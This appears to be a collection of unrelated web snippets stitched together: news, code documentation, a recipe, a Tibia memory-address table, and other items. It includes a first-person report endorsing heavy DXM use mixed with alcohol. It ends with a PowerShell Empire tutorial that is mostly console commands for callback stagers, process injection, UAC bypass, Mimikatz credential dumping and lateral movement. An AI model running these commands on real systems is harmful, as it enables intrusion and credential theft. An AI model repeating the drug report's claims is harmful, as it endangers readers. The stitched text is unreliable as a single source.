Hockey Canada dropping 'midget,' other terms from divisions to be more inclusive
by Associated PressTORONTO -- The term "midget" is being dropped from youth divisions in Canadian hockey because the governing body aims to be more inclusive.
Hockey Canada says it wanted to be sure it wasn't "putting up barriers to keep people away from the sport." The term "midget" has long been used in a variety of sports although it is considered derogatory by many.
The issue generated attention a year ago when the parent of a young son with dwarfism noticed the term on a banner at a mall.
Also dropped starting next season are the categories novice, peewee, bantam and atom. They will be replaced with age-based designators. The change was approved at Hockey Canada's winter congress over the weekend.
The International Ice Hockey Federation and USA Hockey already use age designators for their divisions.


This list view repeater component displays a SKY UX-themed repeater of data. It includes
the ability to defined a custom search function for the data given. Ideally it is used in
conjunction with the list component.
Specifies the name of the view.
Acceptable values: string
.
Specifies whether to display repeater item content. If false, the chevron and related item content will not be shown.
Acceptable values: boolean
.
Specific a search function to apply on the view data.
Acceptable value: (data: any, searchText: string) => boolean
.


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Cage Warriors announce seven new dates for 2020 including inaugural Manchester event
by Peter CarrollCage Warriors is set for its most active calendar year with to date with 15 events in 2020 and on Thursday morning the promotion announced seven more of the dates for the packed schedule - including an inaugural Manchester event.
Following a successful return to Cork, Ireland earlier this month, the promotion announced three Irish dates between Cork and Belfast, Northern Ireland. Cage Warriors now have 10 dates solidified for next year with addition of shows in their usual stomping grounds of Cardiff, Birmingham, London as well as the Manchester bow on March 7.
So far, this is what the promotion’s schedule looks like in 2020:
- March 7 - Manchester
- March 20 - London
- April 18 - Birmingham
- May 16 - Belfast
- Jun. 13 - Cardiff
- Jun. 20 - London
- Jul. 25 - Cork
- Sept. 26 - Belfast
- Oct. 10 - Birmingham
- Nov. 27 - London
Newly crowned bantamweight champion and Mancunian Jack Cartwright will have a keen eye on the Manchester date, which will likely host his first title defense. The last two fighters to hold the title - Jack Shore and Nathaniel Wood - gained UFC contracts on the back of their runs with the European promotion.
“Finding and building the next biggest stars of the sport is simply what we do, and 2020 will be no different,” said Boylan, according to the press release.
“15 events is the most we’ve ever put on in a single year. It means we can return to places where we’re established to keep giving local fighters a platform to grow - and giving fans the fights they want to see - but also to break into new cities that have called for Cage Warriors shows for a while. We’re turning up the dial next year, that’s for sure.”


Duterte executive order reorganizes national cybersecurity committee
With Executive Order 95, the Department of Information and Communications Technology Secretary replaces the Department of Science and Technology Secretary as a co-chair of the committee
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Using Embark with Grunt¶
1. Edit embark.json
Edit embark.json
to have the line "js/app.js": ["embark.js"]
, this will make embark create the file containing the contracts initilization to dist/app.js
.
{
"contracts": ["app/contracts/**"],
"app": {
"app.js": ["embark.js"]
},
"buildDir": "dist/",
"config": "config/",
"plugins": {
}
}
2. add the generated file to Grunt config file so it’s included with the other assets
module.exports = (grunt) ->
grunt.initConfig(
files:
js:
src: [
"dist/app.js"
"app/js/**/*.js"
]


Whether you are flying into JFK and need car service to your NYC hotel or require transportation for your corporate travel anywhere across the nation, Arrow has your solution. Put your feet up, relax, and let your transportation worries melt away by calling us at<PHONE_NUMBER> or emailing to request black car service from Arrow today!
Arrow car service is your one-stop shop for all your ground transportation needs! We offer a wide range of black car services to make your life simple.
Click Below
Executive Town Car Service
Offering black car service for your company’s needs, including point-to-point, and hourly transportation in the New York/Tri-State Area.


val hash: SecureHash
Merkle root of the transaction being resolved, see net.corda.core.transactions.WireTransaction.id
hash - Merkle root of the transaction being resolved, see net.corda.core.transactions.WireTransaction.id
hash


{{die.char}}
Current Word:
{{currentWord}}
Submit Word
Word
Score
{{word.word}}
{{word.score}}
Total Score
{{totalScore}}


DeviceTiming - Visualization Dashboard for Report
User Agent - Browser mapping
Plain HTML Report
Github repo
>
Parsing and Execution time for a JavaScript file
Select a JavaScript file :
Parsing and Execution times for a Browser
Select a Browser name :
User agent string to its corresponding detected client | browser mapping
Detected Client
User Agent String


Holden Lee is the webmaster of the Philosophocle blog. He has graciously offered his web development skills to Philosophocle for free because he believes that the wider world will benefit from the unique and valuable perspective of Philosophocler students, faculty, and community members, especially in the domains of philosophy, spirituality, and academics. Furthermore, he wishes that this blog will facilitate cultural exchange between the historically inwardly-turned institution of Philosophocle, and the global community at large. (I.e., please leave comments.)
You may contact the Philosophocle administration at<EMAIL_ADDRESS>and follow us at @philosophocler. Please note that if you contact us, you give us your consent to reproduce our communications (with appropriate modifications), in order to foster cultural exchange.
We update approximately 2 times per week.


To use this language, use the class "language-rip".
# This is a comment
"foo \"bar\" baz" 'foo \'bar\' baz'
regular_expression = /abc/
string_symbol = :rip


{% extends 'base.html' %}
{% load static %}
{% block content %}
Unsolicited messages which we did not ask for from a source is what we call SPAM.
Messages
which are the desired ones and are not spam are known as HAM.
Wait! Don't go away, I got an example of a spam. Yes the one below!
A
[redacted] loan for Rs 100K is approved for you if you receive this
SMS. 1 min verification & cash in 1 hr at www.[redacted].co.in to opt out reply stop
This web app is powered with ML, NLP which identifies whether the message is a spam or not.
Write or paste a message/email in the text box below to find out is it a spam or not?
Result-
{% if result %} {# #}which is {{ result }}!
Test accuracy: {{ accuracy }}%
Under the hood: Naive Bayes, with NLP(BOW, TF-IDF)
For any queries reach out to me on.
{% if result %} {% endif %}


The reports,
‘Getting to good’
,
‘The pupil premium’
and initial data from the forthcoming report ‘Early entry to GCSE examinations’ were presented at a press briefing, where Her Majesty’s Chief Inspector, Sir Michael Wilshaw talked about the importance of all children receiving a good education and the need for schools to focus on both ends of the ability and achievement spectrum.
He also set out how Ofsted’s new structure will support schools to get to good, or outstanding.
Children and young people have only one chance of a good education. Yet today, over two million pupils attend 6,000 schools that are less than good. I make no apology for scrapping satisfactory – only good is good enough to ensure that our schools can compete with the rest of the world.
Take a typical good secondary school and a typical school judged satisfactory at its last inspection. In the good school, many more of the high achieving pupils from primary school are likely to achieve an A or B grade in maths and English GCSE. If they miss out in the satisfactory school, then this shuts the door on these subjects at A level, and in turn access to the top universities.
Meeting the needs of every pupil is the difference between a good school and a weak school.
Getting to good
Published today, the report
‘Getting to good: how headteachers achieve success’
, looks at the key steps taken by headteachers in schools that have improved from satisfactory to good or better. While each school is unique, there are common features of the journey to good that all schools can learn from.
Headteachers with a successful track record of leading schools from being judged satisfactory, to becoming good or better are absolutely clear that improving teaching and learning is at the heart of what needs to be done, they communicate their high expectations of staff and pupils effectively, and they lead by example, modelling the behaviour they want from their staff. They also know that to build capacity and sustain improvement they need robust performance management that holds staff to account for their leadership and teaching.
From now on, Ofsted will expect schools to improve within four years to a good standard, but will also be more proactive in supporting and challenging schools to secure the necessary improvements. Her Majesty’s Inspectors will be assigned to schools that require improvement to ensure that they progress to a good standard. No later than 4 years after they have been judged to require improvement, inspectors will make a decision about whether the school has improved sufficiently or is placed in special measures.
All schools that are not yet good have been sent a guide that highlights recent Ofsted best practice and survey reports. The booklet is designed to help schools learn from what works and draws attention to the characteristics of outstanding provision.
Pupil premium
Also published today, the report
‘The pupil premium’
looks at how schools are using pupil premium funding to raise achievement and improve outcomes for disadvantaged pupils.
From this month, the government requires schools to publish online information about how they have used the premium.
The survey found that many schools did not disaggregate the pupil premium from their main budget, and said that they were using the funding to maintain or enhance existing provision rather than to put in place new activity. Half of the schools surveyed said the pupil premium was making little or no difference to the way they work.
The report also found that the most common use of the pupil premium funding was to pay for teaching assistants. Over two fifths of school leaders said they used the Pupil Premium to fund existing or new teaching assistants. Proportionally this was higher in primary schools.
In future Ofsted will be critical of schools that are not achieving well for their disadvantaged pupils, and will want to know how they are spending the pupil premium, how this is making a difference for their disadvantaged pupils, and how they are being held to account for this spending by their governors.
Early entry to GCSE examinations
Due to be published soon, the report ‘Early entry to GCSE examinations’ found that the number of pupils entered early in English and maths has increased significantly in the last six years. Over a third of all pupils are now entered early for these exams – more than 200,000 in each of maths and English.
Pupils who were high achieving at the end of primary school were less likely to achieve an A or A* if they sat their exams early. In both English and maths, there is a more than ten percentage points difference for these pupils in the achievement of A grades between those who were entered early and those who were not.


ellipse Draws a simple or thick elliptic arc or fills an ellipse sector
img = cv.ellipse(img, center, axes)
img = cv.ellipse(img, box)
[...] = cv.ellipse(..., 'OptionName', optionValue, ...)
Input
- img Image where the ellipse is drawn.
- center Center of the ellipse
[x,y]
.
- axes Half of the size of the ellipse main axes
[a,b]
.
- box Alternative ellipse representation via a rotated rectangle box.
This means that the function draws an ellipse inscribed in the rotated
rectangle. A scalar structure with the following fields:
- center The rectangle mass center
[x,y]
.
- size Width and height of the rectangle
[w,h]
.
- angle The rotation angle in a clockwise direction. When the
angle is 0, 90, 180, 270 etc., the rectangle becomes an up-right
rectangle.
Output
- img Output image, same size and type as input
img
.
Options
- Angle Ellipse rotation angle in degrees. default 0.
- StartAngle Starting angle of the elliptic arc in degrees. default 0
- EndAngle Ending angle of the elliptic arc in degrees. default 360
- Color 3-element floating point vector specifying ellipse color.
- Thickness Thickness of the ellipse arc outline, if positive.
Otherwise, this indicates that a filled ellipse sector is to be drawn
(-1 or the string 'Filled'). default 1.
- LineType Type of the ellipse boundary. One of 8,4,'AA' (Anti-aliased
line). default 8.
- Shift Number of fractional bits in the coordinates of the center and
values of axes. default 0.
The first variant of the cv.ellipse function draw an ellipse outline, a
filled ellipse, an elliptic arc, or a filled ellipse sector. A piecewise-
linear curve is used to approximate the elliptic arc boundary. If you need
more control of the ellipse rendering, you can retrieve the curve using
cv.ellipse2Poly and then render it with cv.polylines or fill it with
cv.fillPoly. If you use the first variant of the function and want to draw
the whole ellipse, not an arc, pass StartAngle=0
and EndAngle=360
.
The second variant of the function (with rotated rectange as input) does not
support the Angle
, StartAngle
, EndAngle
, and Shift
parameters
(always draw a whole ellipse, not an arc).


My AngularJS App
Hi, {{person.name | uppercase}}!
Say Hello
{{clock}}
The simplest adding machine ever
Add
Substract
Current count: {{counter}}


Four killed in DR Congo anti-UN protests
by Agency ReportAt least four demonstrators were killed on Monday in violence during protests in eastern DR Congo against UN peacekeepers, the military investigators told AFP.
“There were four deaths during the day,” military prosecutor Kumbu Ngoma said. “Ten civilians were wounded and three Congolese military were also hurt.”
Crowds defied warning shots fired by Congolese forces and stormed a UN camp, which had apparently been evacuated, in an angry protest over killings by an armed militia in the eastern town of Beni.
AFP.


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Did you know that...
Urobilin or urochrome is a yellow biochemical linear tetrapyrrole compound. Urobilin and its related compound, urobilinogen, are degradation products of the cyclic tetrapyrrole heme, and is primarily responsible for the yellow color of urine.
Urinary Tract Infection (UTI) , Urinary tract infections (UTIs) are infections of the urethra, bladder, ureters, or the kidneys, which comprise the urinary tract.E. coli bacteria cause the majority of UTIs, but many other bacteria, fungi, and parasites may also cause UTIs.There can be many complications of urinary tract infections, including dehydration, sepsis, kidney failure, and death.


"x" "1" "LOPEZ-DE-CERAIN,A, GARCIA,E AND GULLON,A, INFLUENCE OF THE TRIAZINERING ON THE MUTAGENICITY OF TRIAZINOINDOLES AND SOME CONGENERS, MUTAGENESIS7(1):37-39, 1992"


Preparation time
less than 30 mins
Cooking time
30 mins to 1 hour
Serves
Serves 4
Fillets of cod served with the best of spring's vegetables sautéed with smoked French sausages.
For the pea purée, bring a pan of water to the boil and cook the peas until tender (about 3-4 minutes). Drain the peas, reserving a little of the cooking water, and transfer to a blender. Blend to a smooth purée, adding a little of the reserved cooking water to loosen the purée, if required. Add a little olive oil, to taste, and season with salt and pepper.
Pass the purée through a sieve and set aside.
For the Morteau sausage, poach the Morteau sausage in simmering water for nine minutes. Remove from the heat, remove and discard the skin. Set aside to chill.
Once cool, cut the sausage into small cubes. Heat the butter in a frying pan. When foaming, add the diced sausage and cook until coloured and the fat has started to render. Set aside until ready to serve.
For the vegetables, bring two pans of water to the boil and cook the beans and peas separately for a minute each. Drain and place in a bowl of ice water to chill.
Once chilled, drain again and remove the outer skins from the peas and broadbeans. Set aside until ready to serve.
Thoroughly wash the monk’s beard to remove any dirt or grit, then pick green plushes and discard the roots. Blanch in boiling water then refresh in iced water. Once cool, remove from the iced water and set aside.
Heat a knob of butter in a frying pan until foaming. Fry the mushrooms in the butter for 5-6 minutes, or until golden-brown. Season, to taste, with salt and pepper. Set aside until ready to serve.
For the cod, preheat the oven to 180C/350F/Gas 4.
Place a non-stick ovenproof frying pan over a medium to high heat and add a little extra virgin olive oil. Season the fish with salt then add to the pan, skin-side down, and cook until golden-brown. Turn the fish over and place in the oven for 3-6 minutes (depending on the thickness of the fillets). To check the fish is cooked, insert a skewer into the thickest part of the fish, then touch it to your lip, when the skewer is warm the fish is ready.
Meanwhile, reheat the cooked peas, broad beans, Morteau sausage and mushrooms. When hot, add the marjoram and season to taste with salt and pepper. In a separate pan, reheat the monk’s beard. Gently reheat the purée.
Divide the pea and broad bean mixture between four large dinner bowls. Drizzle a few spoonfuls of the purée on top. Place the fish on top of the vegetables.
Dress the peashoots with a little olive oil and salt, then place them on top of the fish with the warmed monks beard. Drizzle with olive oil and serve.


Here will live all the logo files for Mapzen and also all the icons and image assets that we have designed for all our open source projects.


When you go to a séance, it is highly likely that at some point jets of ectoplasmic goo will spurt around the room, and startle you. It is important in these circumstances to maintain your insouciance. Instead of waving your arms around and shrieking, go and lean against the mantelpiece and regard the scene with an air of amused nonchalance, as if you are an actor in a 1930s drawing-room comedy. If you smoke a pipe, this is the perfect time to light it. The ectoplasmic goo will soon disperse, or even vanish entirely, and your fellow séancees, cowering and trembling, will be mightily impressed by your unruffled elegance. Then, as they recover their wits with an air of embarrassment, you may intone a litany of awful dread in a booming voice from beyond the grave, expose the horns upon your head hidden until now by your bouffant, snap your fingers, and consign your chums to the fiery flaming pit.
Thanks to David Thomson for the picture.


Static Public Attributes | |
| static uint | Exp = 0x632EC4 |
| static uint | GoToX = Exp + 80 |
| static uint | GoToY = Exp + 76 |
| static uint | GoToZ = Exp + 72 |
| static uint | Id = Exp + 12 |
| static uint | HP = Exp + 8 |
| static uint | HPMax = Exp + 4 |
| static uint | Level = Exp - 4 |
| static uint | MagicLevel = Exp - 8 |
| static uint | LevelPercent = Exp - 12 |
| static uint | MagicLevelPercent = Exp - 16 |
| static uint | Mana = Exp - 20 |
| static uint | ManaMax = Exp - 24 |
| static uint | Soul = Exp - 28 |
| static uint | Stamina = Exp - 32 |
| static uint | Cap = Exp - 36 |
| static uint | Fishing = Exp - 52 |
| static uint | Shielding = Exp - 56 |
| static uint | Distance = Exp - 60 |
| static uint | Axe = Exp - 64 |
| static uint | Sword = Exp - 68 |
| static uint | Club = Exp - 72 |
| static uint | Fist = Exp - 76 |
| static uint | FishingPercent = Exp - 80 |
| static uint | ShieldingPercent = Exp - 84 |
| static uint | DistancePercent = Exp - 88 |
| static uint | AxePercent = Exp - 92 |
| static uint | SwordPercent = Exp - 96 |
| static uint | ClubPercent = Exp - 100 |
| static uint | FistPercent = Exp - 104 |
| static uint | Flags = Exp - 108 |
| static int | MaxSlots = 11 |
| Total number of equipment slots (accessed 0-10). | |
| static uint | SlotHead = 0x63F310 |
| static uint | SlotNeck = SlotHead + 12 |
| static uint | SlotBackpack = SlotHead + 24 |
| static uint | SlotArmor = SlotHead + 36 |
| static uint | SlotRight = SlotHead + 48 |
| static uint | SlotLeft = SlotHead + 60 |
| static uint | SlotLegs = SlotHead + 72 |
| static uint | SlotFeet = SlotHead + 84 |
| static uint | SlotRing = SlotHead + 96 |
| static uint | SlotAmmo = SlotHead + 108 |
| static uint | DistanceSlotCount = 4 |
| static uint | CurrentTileToGo = 0x632ED8 |
| static uint | TilesToGo = 0x632EDC |
| static uint | RedSquare = 0x632E9C |
| static uint | GreenSquare = RedSquare - 4 |
| static uint | WhiteSquare = GreenSquare - 8 |
| static uint | AccessN = 0 |
| static uint | AccessS = 0 |
| static uint | TargetID = RedSquare |
| static uint | TargetBListID = TargetID - 8 |
| static uint | TargetBListType = TargetID - 5 |
| static uint | TargetType = TargetID + 3 |
| static uint | Z = 0x641C78 |
| Static address for player Z, used for level spy. | |
| static uint | Y = Z + 4 |
| static uint | X = Z + 8 |
uint Tibia.Addresses.Player.AccessN = 0 [static] |
uint Tibia.Addresses.Player.AccessS = 0 [static] |
uint Tibia.Addresses.Player.Axe = Exp - 64 [static] |
uint Tibia.Addresses.Player.AxePercent = Exp - 92 [static] |
uint Tibia.Addresses.Player.Cap = Exp - 36 [static] |
uint Tibia.Addresses.Player.Club = Exp - 72 [static] |
uint Tibia.Addresses.Player.ClubPercent = Exp - 100 [static] |
uint Tibia.Addresses.Player.CurrentTileToGo = 0x632ED8 [static] |
uint Tibia.Addresses.Player.Distance = Exp - 60 [static] |
uint Tibia.Addresses.Player.DistancePercent = Exp - 88 [static] |
uint Tibia.Addresses.Player.DistanceSlotCount = 4 [static] |
uint Tibia.Addresses.Player.Exp = 0x632EC4 [static] |
uint Tibia.Addresses.Player.Fishing = Exp - 52 [static] |
uint Tibia.Addresses.Player.FishingPercent = Exp - 80 [static] |
uint Tibia.Addresses.Player.Fist = Exp - 76 [static] |
uint Tibia.Addresses.Player.FistPercent = Exp - 104 [static] |
uint Tibia.Addresses.Player.Flags = Exp - 108 [static] |
uint Tibia.Addresses.Player.GoToX = Exp + 80 [static] |
uint Tibia.Addresses.Player.GoToY = Exp + 76 [static] |
uint Tibia.Addresses.Player.GoToZ = Exp + 72 [static] |
uint Tibia.Addresses.Player.GreenSquare = RedSquare - 4 [static] |
uint Tibia.Addresses.Player.HP = Exp + 8 [static] |
uint Tibia.Addresses.Player.HPMax = Exp + 4 [static] |
uint Tibia.Addresses.Player.Id = Exp + 12 [static] |
uint Tibia.Addresses.Player.Level = Exp - 4 [static] |
uint Tibia.Addresses.Player.LevelPercent = Exp - 12 [static] |
uint Tibia.Addresses.Player.MagicLevel = Exp - 8 [static] |
uint Tibia.Addresses.Player.MagicLevelPercent = Exp - 16 [static] |
uint Tibia.Addresses.Player.Mana = Exp - 20 [static] |
uint Tibia.Addresses.Player.ManaMax = Exp - 24 [static] |
int Tibia.Addresses.Player.MaxSlots = 11 [static] |
Total number of equipment slots (accessed 0-10).
uint Tibia.Addresses.Player.RedSquare = 0x632E9C [static] |
uint Tibia.Addresses.Player.Shielding = Exp - 56 [static] |
uint Tibia.Addresses.Player.ShieldingPercent = Exp - 84 [static] |
uint Tibia.Addresses.Player.SlotAmmo = SlotHead + 108 [static] |
uint Tibia.Addresses.Player.SlotArmor = SlotHead + 36 [static] |
uint Tibia.Addresses.Player.SlotBackpack = SlotHead + 24 [static] |
uint Tibia.Addresses.Player.SlotFeet = SlotHead + 84 [static] |
uint Tibia.Addresses.Player.SlotHead = 0x63F310 [static] |
uint Tibia.Addresses.Player.SlotLeft = SlotHead + 60 [static] |
uint Tibia.Addresses.Player.SlotLegs = SlotHead + 72 [static] |
uint Tibia.Addresses.Player.SlotNeck = SlotHead + 12 [static] |
uint Tibia.Addresses.Player.SlotRight = SlotHead + 48 [static] |
uint Tibia.Addresses.Player.SlotRing = SlotHead + 96 [static] |
uint Tibia.Addresses.Player.Soul = Exp - 28 [static] |
uint Tibia.Addresses.Player.Stamina = Exp - 32 [static] |
uint Tibia.Addresses.Player.Sword = Exp - 68 [static] |
uint Tibia.Addresses.Player.SwordPercent = Exp - 96 [static] |
uint Tibia.Addresses.Player.TargetBListID = TargetID - 8 [static] |
uint Tibia.Addresses.Player.TargetBListType = TargetID - 5 [static] |
uint Tibia.Addresses.Player.TargetID = RedSquare [static] |
uint Tibia.Addresses.Player.TargetType = TargetID + 3 [static] |
uint Tibia.Addresses.Player.TilesToGo = 0x632EDC [static] |
uint Tibia.Addresses.Player.WhiteSquare = GreenSquare - 8 [static] |
uint Tibia.Addresses.Player.X = Z + 8 [static] |
uint Tibia.Addresses.Player.Y = Z + 4 [static] |
uint Tibia.Addresses.Player.Z = 0x641C78 [static] |
Static address for player Z, used for level spy.


In cognitive psychology and decision theory, loss aversion refers to people's tendency to prefer avoiding losses to acquiring equivalent gains: it is better to not lose $5 than to find $5. The principle is very prominent in the domain of economics. What distinguishes loss ave...


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I have done DXM so many times i can barely even guess how many times i have done it. A 'normal' dose was anywhere between 750-900. Pretty stong doses. I would do it anywhere between 1-5 times a week. A few times, i went on DXM binges lasting about a week. These were real mind benders.
It was the end of a week long binge and i was invited to a family party by one of my good friends. In fact, the whole gang was going, four of us in total. I picked up one of my friends on the way to the party. We stopped by a local stop and shop and i got a box of corcedin cough and cold, as well as an 8 oz. bottle of tussin maximum strength. My friend got two boxes of corcedin.
We arrived at the party around six'ish and my friend's dad offered us beer and took our car keys. We looked around at each other and decided we might as well try mixing DXM and alcohol, even though it's strictly not recomended. So we each drank some beer, and one of my friends and i went upstairs to 1) take some DXM and 2) get this wireless microphone FM transmitter to work (you know, the little microphones you talk into and it comes through your FM radio). Anyway, we each took 16 pills (480 milligrams) just to start things off.
The other two came upstairs and brought us down stairs. by this time i was just feeling a very mild buzz from the beers. We went down stairs and ate (i think?) and we were just waiting for things to get started. The friend that i had taken DXM with already, we were starting to feel spacy, that sort of opium feeling, of tingling, warmth, and whatnot. As we were all drinking a little more, the alcohol seemed to put all the DXM into our bloodstreams a little faster. In fact, it seemed to put it in all at one.
Then it hit me, and i decided to go drink the robo. 8 oz. later (720 mg) and i had a total of 1200 mg in me. There was only about an hour in between taking the pills and the robo. i knew i was in for it. Somehow i ended up with another 8 corcedin pills (240 mg) in my pocket and i took those, but i have no recollection of when. So there i was, with 1440 mg of DXM in me. An amount i had only taken once before, and a few beers speeding up the absorbtion of DXM.
From here on in, i lost communication skills, well.. i didnt really lose them, it was just damn hard to say a sentence. And when i did, i would end up using this ridiculus accent (like a young british girl's)??? I was crazy. There were adults all around that had no idea that i was on DXM until one of my friends told them. They just thought i was really drunk.
I remember walking past a few adults one time. I had to go from outside to the inside through the garage, and the adults were sitting inside the garage. So i had to put aside the hallucinations for a while and walk past them. So i began...  I had no equilibrium, and no body. I dont know how i did it but i managed to want all the way to the door and open it but i did a sort of drunken walk like that in Fear in Loathing in Las Vegas ( the ether scene). They tried to speak to me but thier voices were like a fan, just a rumbling that i could make no clear words out of.
We went outside only to see an inflatable house. You know the kind they have at fairs and whatnot. The kind where you can bounce off the walls, floor, ceiling, and not get hurt. I think its called the moonwalk.  We bucked the door and were now in a space of little to no gravity. It was dark out so by this point, i had almost no external stimulus coming in. I would close my eyes and jump and let my body go. While in mid air, i felt as if i was floating in space, nothing touching me and then WHAM!!! I got nailed by the floor only to bounce again and return to the space and WHAM!!! back to the floor. back to space. back to the floor...and with each bounce, the time got quicker and quicker. It was like a countdown to the end.
After about four hours in there, i finally got control of my thoughts back so i began the sobering up process. I just drank lots of fluids and let my self relax because i knew there was going to be no sleep for the next 14 hours. It was 4 in the morning and we moved back inside. Everyone got to sleeping and i was just sitting there in a sofa chair. I was reading the guiness book of world records. Then the most bizarre halucination i have ever expierenced (wheather on DXM, PCP, LSD ...) I look over to the bathroom because i heard a noise. I looked over to see my friend with his blanket wrapped around him and he pointed up. I thought he meant that he wanted to move upstairs and sleep in a bed, so i gave him a thumbs up to signify that that would be cool. So as i was turning around to get up to go upstairs, i briefly look over to the sofa and there was my friend who was just pointing upstairs, lying on the couch,
SLEEPING. I quickly looked back to see if the other one was still there but there was nothing. I looked back to the couch and he was still there. I was terrified and i had know idea what just happened. I went to the bathroom and put water on my face. I then went back to the sofa chair and relaxed, not at all sleepy jus watching the fan blades grow and shrink, watching the fireplace bend and grow. Eventually these events stopped and i finally came back to normalcy around 6 am.
I was back to normal me, felling good about the long, strange, powerful trip i just had and i fell it was all positive. Alcohol seems to rush the DXM into your system and then the trip lasts a shorter time. It concentrates the trip. I have done DXM with alcohol about 3 times, with similar results.
I have expierenced no ill side effects, except the occasional sugar imbalence ( robo is a mix that contains high amounts of sucrose and fructose which dramatically increase your blood sugar. Tis can lead to a diebetic type high, or lead to a diebetic type low, characterized by shakiness, upset stomach, sweating, paleness...)
That only happens when you take a lot of robo in a short amount of time on an empty stomach.  No permanent emotional side effects, and as a side note, it doesn't even affect sport performance. I have gone to play a basketball game on robo. That was an interesting game! I feel DXM is benificial as long as you know where, when, and how to properly do this dissasociative drug.
Happy Trippin' --
Experience Reports are the writings and opinions of the individual authors who submit them.
Some of the activities described are dangerous and/or illegal and none are recommended by Erowid.


Coffee House Chains
A ranking of selected leading coffee house chains worldwide
Stores worldwide
Revenue in billion U.S. dollars


PowerShell Empire is a PowerShell and Python exploitation and post-exploitation agent with focus on client-side exploitation and post-exploitation for Active Directory deployments
Exploitation and post-exploitation are performed using PowerShell on Windows and Python on Linux and MacOS
Empire relies on pre-installed libraries and features and requires PowerShell v2 on Windows and Python v2.6 or 2.7 on Linux and MacOS
Empire is not installed by default and needs to be installed manually:- sudo apt install powershell-empire
- powershell-empire
PowerShell Empire syntax:
Listeners and Stagers:- Listeners accept inbound connections from various Empire agents
- Stagers are small pieces of code generated by Empire that are executed on the victim and connect back to a listener, facilitating the transfer to the victim of a staged payload
- To begin an Empire session, we will first enter the listener context: (Empire) > listeners
- Then we print the available listeners: (Empire: listeners) > uselistener [TAB] [TAB]
- Once we have decided on which listener to use (for example the http listener), we select it: (Empire: listeners) > uselistener http
- We then run the info command to shop the listener information and syntax: (Empire: listeners/http) > info
- Important listener options to set:
- Host
- Port
- DefaultDelay
- DefaultJitter
- KillDate
- Example of setting an option:
- (Empire: listeners/http) > set Host <IP_ADDRESS>
- Once the options are set, we can start the listener with the execute command:
- (Empire: listeners/http) > execute
- We can go back to the main menu with the command back:
- (Empire: listeners/http) > back
- We can then list all available stagers with the command:
- (Empire: listeners) > usestager [TAB] [TAB]
- To select the desired stager:
- (Empire: listeners) > usestager windows/launcher_bat
- We can review the stager options with the info command:
- (Empire: stager/windows/launcher_bat) > info
- Important stager options to set:
-
- We can set the listener for our stager with the set command:
- (Empire: stager/windows/launcher_bat) > set Listener http
- Finally, we create the stager with the execute command:
- (Empire: stager/windows/launcher_bat) > execute
- We can have a look at the generated stager opening the file /tmp/launcher.bat:
-
- The stager is a base64 encoded PowerShell command string. The first stage payload will connect to the listener and fetch the rest of the Empire Agent code
The Empire Agent:- With the listener running and the stager prepared, we now need to deploy the agent on the victim. The agent is the final payload retrieved by the stager and will alows us to execute commands and interact with the victim system
- The stager deletes itself and exits once it finishes execution
- Once the agent is operational on the target, it will established an AES ecrypted communication channel with the listener, using the data portion of the HTTP GET and POST requests
- To deploy our agent we need to copy the launche.bat file to the target Windows system and execute from a command prompt
- Once the agent is executed, we go back to the Empire console on our attacker machine and we see that Empire has received the agent call.
- We can display all active agents with the agents command:
- (Empire: stager/windows/launcher_bat) > agents
- Now we can interact with the desired agent using the interact command and the agent name (63WFMDBUS in the case of our example):
- (Empire: stager/windows/launcher_bat) > interact 63WFMDBUS
- Let"s use the agent to run sysinfo on the victim:
- (Empire: 63WFMDBUS) > sysinfo
- From within the agent, the help command shows all available commands:
- (Empire: 63WFMDBUS) > help
- Useful commands are:
- upload
- download
- exit
- shell (to open a command prompt)
- spawn (to create an additional agent on the same host)
- Like metasploit, Empire allows us to migrate the payload to a different process
- We first list all running processes with ps
-
- Once we have chosen our target process, we can inject the payload with the psinject command, and the name of the listener and the target process id as command arguments:
- (Empire: 63WFMDBUS) > psinject http 252
- Unlike th emigration feature in metasploit with meterpreter, once the migration process is completed, the original Empire agent remains active and we need to manually switch to the newly created one (with name WTUE31AV):
- (Empire: 63WFMDBUS) > agents
- (Empire: agents) > interact WTUE31AV
- (Empire: WTUE31AV) >
PowerShell Modules:- The power of PowerShell and Empire comes from the many modules available. To list all the available modules we can use the usemodule command:
- (Empire: WTUE31AV) > usemodule [TAB] [TAB]
Situational Awareness:- Let us investigate the get-user module:
- (Empire: WTUE31AV) > usemodule situational_awareness/network/powerview/get_user
- We can explore the options of the module with the info command:
- (Empire: powershell/situational_awareness/network/powerview/get_user) > info
- Important module options are:
- Name
- Module
- Language
- NeedsAdmin (set to true if module needs local admin privileges)
- OpsecSafe (set to true if we wish to avoid to leave behind proofs of compromise to evade endpoint protections machenisms)
- MinLanguageVersion (minimum version of PowerShell required to execute the script)
- Finally, we will run the module with the execute command:
- (Empire: powershell/situational_awareness/network/powerview/get_user) > execute
- To be noted that the situational_awareness category also includes a wide variety of network and port scanners
Credentials and privilege escalation:- One of the most interesting modules in this group for privilege escalation is the "powerup allchecks" module
- (Empire: powershell/situational_awareness/network/powerview/get_user) > usemodule powershell/privesc/powerup
- (Empire: powershell/privesc/powerup/allchecks) > execute
- Another useful module is the bypassuac_fodhelper module, especially hany if we have a local admin access level. Depending on the Windows version, this module can bypass UAC and launch a high integrity PowerShell Empire agent:
- (Empire: powershell/privesc/powerup/allchecks) > usemodule powershell/privesc/bypassuac_fodhelper
- Before launching this module, we need to configure our listener:
- (Empire: powershell/privesc/bypassuac_fodhelper) > info
- (Empire: powershell/privesc/bypassuac_fodhelper) > set Listener http
- (Empire: powershell/privesc/bypassuac_fodhelper) > execute
- Once we have obtained Local Admin privileges on the Windows victim, we can then execute commands that require that integrity leve, such as Mimikatz to dump password hashes. The credentials category contains multiple Mimikatz commands that have been imported into Empire. The following command shows all available credentials modules:
- (Empire: 78PSBD4H) > usemodule credentials/ [TAB] [TAB]
- To be noted that if an "*" is printed aside to a module"s name, that module requires Local Admin integrity level. Let"'s have a closer look at a high integrity module, such as mimikatz/logonpasswords:
- (Empire: 78PSBD4H) > usemodule powershell/credentials/mimikatz/logonpasswords
- (Empire: powershell/credentials/mimikatz/logonpasswords) > execute
- The credentials found by that module are not only printed to screen as output of the command, but also stored in the Empire credentials store, enumerated with the creds command:
- (Empire: powershell/credentials/mimikatz/logonpasswords) > creds
Lateral movement:- Let's attempt to perform lateral movement and reach the domain controller, that is located on a network that is not directly reachable from our attacker kali machine
- To list all available lateral movement modules:
- (Empire: powershell/credentials/mimikatz/logonpasswords) > usemodule powershell/lateral_movement/ [TAB] [TAB]
- As an example, we will use the invoke_smbexec module:
- (Empire: powershell/credentials/mimikatz/logonpasswords) > usemodule powershell/lateral_movement/invoke_smbexec
